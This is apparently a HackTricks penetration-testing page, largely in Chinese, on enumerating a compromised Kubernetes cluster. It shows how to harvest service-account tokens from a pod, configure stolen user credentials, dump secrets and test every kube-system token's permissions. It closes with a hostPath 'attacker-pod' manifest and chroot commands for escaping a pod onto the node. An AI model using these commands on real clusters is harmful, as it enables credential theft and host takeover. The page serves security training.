Kubernetes Enumeration

支持 HackTricks

Kubernetes Tokens

如果你已经获得了对某台机器的访问权限,用户可能会访问某些 Kubernetes 平台。令牌通常位于 env var KUBECONFIG 指向的文件中或 ~/.kube

在这个文件夹中,你可能会找到包含 连接到 API 服务器的令牌和配置的配置文件。在这个文件夹中,你还可以找到一个缓存文件夹,里面有之前检索的信息。

如果你已经在 Kubernetes 环境中攻陷了一个 pod,还有其他地方可以找到令牌和当前 K8 环境的信息:

Service Account Tokens

在继续之前,如果你不知道 Kubernetes 中的服务是什么,我建议你 点击此链接并至少阅读有关 Kubernetes 架构的信息。

摘自 Kubernetes 文档:

“当你创建一个 pod 时,如果你没有指定服务账户,它会自动分配同一命名空间中的 default 服务账户。”

ServiceAccount 是一个由 Kubernetes 管理的对象,用于为在 pod 中运行的进程提供身份。 每个服务账户都有一个与之相关的秘密,这个秘密包含一个承载令牌。这是一个 JSON Web Token (JWT),用于在两个方之间安全地表示声明。

通常 一个 目录:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

包含以下文件:

  • ca.crt: 用于检查 Kubernetes 通信的 CA 证书

  • namespace: 指示当前命名空间

  • token: 包含当前 pod 的 服务令牌

现在你有了令牌,可以在环境变量 KUBECONFIG 中找到 API 服务器。有关更多信息,请运行 (env | set) | grep -i "kuber|kube"

服务账户令牌由位于文件 sa.key 中的密钥签名,并由 sa.pub 验证。

Kubernetes 的默认位置:

  • /etc/kubernetes/pki

Minikube 的默认位置:

  • /var/lib/localkube/certs

Hot Pods

Hot pods 是 包含特权服务账户令牌的 pods。特权服务账户令牌是具有执行特权任务权限的令牌,例如列出秘密、创建 pods 等。

RBAC

如果你不知道 RBAC 是什么,请阅读这一部分

GUI Applications

Enumeration CheatSheet

为了枚举 K8s 环境,你需要以下几项:

  • 一个 有效的身份验证令牌。在上一节中,我们看到了在哪里搜索用户令牌和服务账户令牌。

  • Kubernetes API 的地址https://host:port)。这通常可以在环境变量和/或 kube 配置文件中找到。

  • 可选: ca.crt 用于验证 API 服务器。这可以在与令牌相同的地方找到。这对于验证 API 服务器证书很有用,但使用 --insecure-skip-tls-verifykubectl-kcurl 时,你不需要这个。

有了这些细节,你可以 枚举 Kubernetes。如果 API 出于某种原因通过 互联网 可访问,你可以直接下载该信息并从你的主机枚举平台。

然而,通常 API 服务器位于内部网络中,因此你需要 通过被攻陷的机器创建一个隧道 以从你的机器访问它,或者你可以 上传 kubectl 二进制文件,或使用 curl/wget/anything 对 API 服务器执行原始 HTTP 请求。

Differences between list and get verbs

使用 get 权限,你可以访问特定资产的信息(describe 选项在 kubectl)API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

如果您拥有 list 权限,则可以执行 API 请求以列出某种资产(kubectl 中的 get 选项):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

如果您拥有 watch 权限,则可以执行 API 请求以监视资产:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

他们打开一个流连接,每当 Deployment 发生变化(或创建新的 Deployment 时)就会返回完整的清单。

以下 kubectl 命令仅指示如何列出对象。如果您想访问数据,您需要使用 describe 而不是 get

使用 curl

在 pod 内部,您可以使用多个环境变量:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

默认情况下,pod 可以 访问 域名为 kubernetes.default.svckube-api 服务器,您可以在 /etc/resolv.config 中看到 kube 网络,在这里您将找到 kubernetes DNS 服务器的地址(同一范围的 ".1" 是 kube-api 端点)。

使用 kubectl

拥有令牌和 API 服务器地址后,您可以使用 kubectl 或 curl 访问它,如下所示:

默认情况下,APISERVER 使用 https:// 协议进行通信

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

如果 URL 中没有 https://,您可能会收到类似于错误请求的错误。

您可以在这里找到官方的 kubectl 备忘单。以下部分的目标是以有序的方式展示不同的选项,以枚举和理解您已获得访问权限的新 K8s。

要找到 kubectl 发送的 HTTP 请求,您可以使用参数 -v=8

MitM kubectl - 代理 kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

当前配置

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

如果你成功窃取了一些用户凭据,你可以使用类似的方式在本地配置它们

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

获取支持的资源

通过这些信息,您将知道可以列出所有服务

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

获取当前权限

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

检查您的权限的另一种方法是使用工具: https://github.com/corneliusweig/rakkess****

您可以在以下内容中了解更多关于 Kubernetes RBAC 的信息:

Kubernetes Role-Based Access Control(RBAC)

一旦您知道自己拥有的权限,请查看以下页面以确定 您是否可以利用这些权限 来提升权限:

Abusing Roles/ClusterRoles in Kubernetes

获取其他角色

k get roles
k get clusterroles

获取命名空间

Kubernetes 支持 多个虚拟集群,这些虚拟集群由同一个物理集群支持。这些虚拟集群称为 命名空间

k get namespaces

获取秘密

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

如果您可以读取秘密,您可以使用以下行获取与每个令牌相关的权限:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

获取服务账户

如本页开头所述,当一个 pod 运行时,通常会分配一个服务账户给它。因此,列出服务账户、它们的权限以及它们运行的位置可能允许用户提升权限。

k get serviceaccounts

获取部署

部署指定了需要运行组件

k get deployments
k get deployments -n custnamespace

获取 Pods

Pods 是实际将要 运行容器

k get pods
k get pods -n custnamespace

获取服务

Kubernetes 服务用于在特定端口和 IP 上暴露服务(这将充当实际提供服务的 pod 的负载均衡器)。了解在哪里可以找到其他服务以尝试攻击是很有趣的。

k get services
k get services -n custnamespace

获取节点

获取集群内配置的所有节点

k get nodes

获取 DaemonSets

DaeamonSets 允许确保 特定的 pod 在集群的所有节点上运行(或在选定的节点上)。如果您删除 DaemonSet,受其管理的 pods 也将被删除。

k get daemonsets

获取 cronjob

Cron jobs 允许使用类似 crontab 的语法调度启动一个将执行某些操作的 pod。

k get cronjobs

获取 configMap

configMap 通常包含大量信息和配置文件,这些文件提供给在 Kubernetes 中运行的应用程序。通常,您可以找到许多用于连接和验证其他内部/外部服务的密码、秘密和令牌。

k get configmaps # -n namespace

获取网络策略 / Cilium 网络策略

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

获取所有内容 / 全部

k get all

获取所有由 helm 管理的资源

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

获取 Pods 消耗

k top pod --all-namespaces

从 pod 中逃逸

如果您能够创建新的 pod,您可能能够从中逃逸到节点。为此,您需要使用 yaml 文件创建一个新 pod,切换到创建的 pod,然后 chroot 进入节点的系统。您可以使用已经存在的 pod 作为 yaml 文件的参考,因为它们显示了现有的镜像和路径。

kubectl get pod <name> [-n <namespace>] -o yaml

如果您需要在特定节点上创建 pod,可以使用以下命令获取节点上的标签

k get nodes --show-labels

通常,kubernetes.io/hostname 和 node-role.kubernetes.io/master 是选择的好标签。

然后您创建您的 attack.yaml 文件

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

original yaml source

之后你创建 pod

kubectl apply -f attacker.yaml [-n <namespace>]

现在您可以按如下方式切换到创建的 pod

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

最后,你 chroot 进入节点的系统

chroot /root /bin/bash

信息来源:Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

参考文献

支持 HackTricks

Last updated